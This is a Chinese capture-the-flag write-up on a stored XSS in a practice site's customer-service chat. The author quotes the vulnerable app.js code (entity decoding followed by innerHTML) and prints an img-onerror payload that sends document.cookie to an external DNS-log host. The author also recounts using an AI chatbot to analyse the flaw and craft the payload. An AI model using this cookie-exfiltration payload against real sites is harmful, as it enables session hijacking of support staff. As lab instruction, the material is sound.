SRC靶场:客服对话xss WP

靶场目标:获取在线客服的cookie,cookie中会有flag。

靶场的目标里明确说明了是获取在线客服的cookie,所以我们主要把目光聚集在主页上的在线客服功能。

d2b5ca33bd20260524185153

通过发送一个基础的h1标签的payload,可以发现,网站后端做了一些拦截。

d2b5ca33bd20260524185119

这个反馈可以得出以下的几种方向:

1.去寻找网页内其他功能

2.对这个功能点进行盲打

一开始选了第一个,对网站巡逻了一圈之后,最终还是回到了第二个方向,对这个功能点进行盲打,一开始我用了mht的xss平台的链接,用了很多语句去盲打,但是一直测试没成功,之后用dnslog就可以成功。

早知道换成dnslog了,但是那个时候气急败坏了,就直接deepseek启动了。

d2b5ca33bd20260524194943

不到五分钟的时间,ai给出了一份漏洞报告。

d2b5ca33bd20260524195107

那还说啥了,直接叫ai构造payload测试,通过多次对话试错,最后也是成功拿到了flag

d2b5ca33bd20260524195508

经过后面分析,可以发现在网站的app.js里就写了客服服务台页面的前端实现,这段代码将对话从数据库拉出来后通过decodeHtmlEntities将html编码的字符还原,然后直接通过innerHTML插入,这就会造成xss。

async function pageSupportAgent() {
  setTitle('客服服务台');
  const review = params.get('review') || '';
  const sessionNo = params.get('session') || '';
  qs('#page-root').innerHTML = `${hero('Support Console', '客服服务台', '人工客服后台按会话编号读取待处理消息,自动预览客户提交内容。')}
    <section class="support-admin-shell">
      <aside class="support-admin-card">
        <h2>会话概况</h2>
        <div id="support-admin-summary"><p class="empty-state">正在读取客服会话。</p></div>
      </aside>
      <div class="support-admin-main">
        <section class="support-admin-transcript">
          <div class="support-admin-head"><h2>会话记录</h2><span class="support-state-pill" id="support-admin-status">待读取</span></div>
          <div class="support-thread" id="support-admin-thread"></div>
        </section>
        <section class="support-admin-preview">
          <h2>人工预览区</h2>
          <div class="support-admin-preview-box" id="support-admin-preview-box">正在构建人工客服预览。</div>
          <p class="support-admin-preview-note">服务台会自动将客户消息中的 HTML 实体编码解码后用于内部预览,以便快速识别证件、条款编号和工单引用。</p>
        </section>
      </div>
    </section>`;
  const data = await apiGet('support_review_payload', { review, session: sessionNo });
  const session = data.session;
  const messages = data.messages || [];
  qs('#support-admin-status').textContent = supportStatusText[session.status] || session.status;
  qs('#support-admin-status').className = `support-state-pill ${supportStateClass(session.status)}`;
  qs('#support-admin-summary').innerHTML = `<div class="support-admin-grid">
      <div><span>会话编号</span><strong>${escapeHtml(session.session_no)}</strong></div>
      <div><span>客户信息</span><strong>${escapeHtml(session.visitor_name)} / ${escapeHtml(session.visitor_phone || '未登记手机号')}</strong></div>
      <div><span>咨询主题</span><strong>${escapeHtml(session.topic)}</strong></div>
      <div><span>队列状态</span><strong>${escapeHtml(session.queue_note || '人工预览已打开')}</strong></div>
      <div><span>创建时间</span><strong>${escapeHtml(session.created_at)}</strong></div>
      <div><span>Cookie 环境</span><strong>Bot 打开时自动携带题目专用 Cookie</strong></div>
    </div>`;
  qs('#support-admin-thread').innerHTML = messages.length ? messages.map(supportMessageItem).join('') : '<p class="empty-state">暂无消息。</p>';
  const previewBox = qs('#support-admin-preview-box');
  const userHtml = messages
    .filter((item) => item.sender_role === 'user')
    .map((item) => decodeHtmlEntities(item.content))
    .join('<hr>');
  previewBox.innerHTML = userHtml || '暂无客户留言。';

手动测试一下,把dnslog的网址放到payload里,html编码后,发送。

<img src=x onerror="new Image().src=`http://${document.cookie.replace(/[^a-zA-Z0-9]/g,`_`)}.xxx`">

d2b5ca33bd20260524200631

d2b5ca33bd20260524200652

d2b5ca33bd20260524200714

写在最后,ai真的很厉害,但是就这个靶场来说,如果客服的前端实现没有写在js里面,或者是js文件非常多,且做了混淆,那么ai要分析出来消耗的token恐怕也很多。

还有就是我用下面这个payload试了一下发现不行,问了ai才知道,原来通过innerHTML注入script标签是无效的,浏览器并不会执行代码。

<script src=http://xxx> </script>

 

 

请登录后发表评论

    请登录后查看回复内容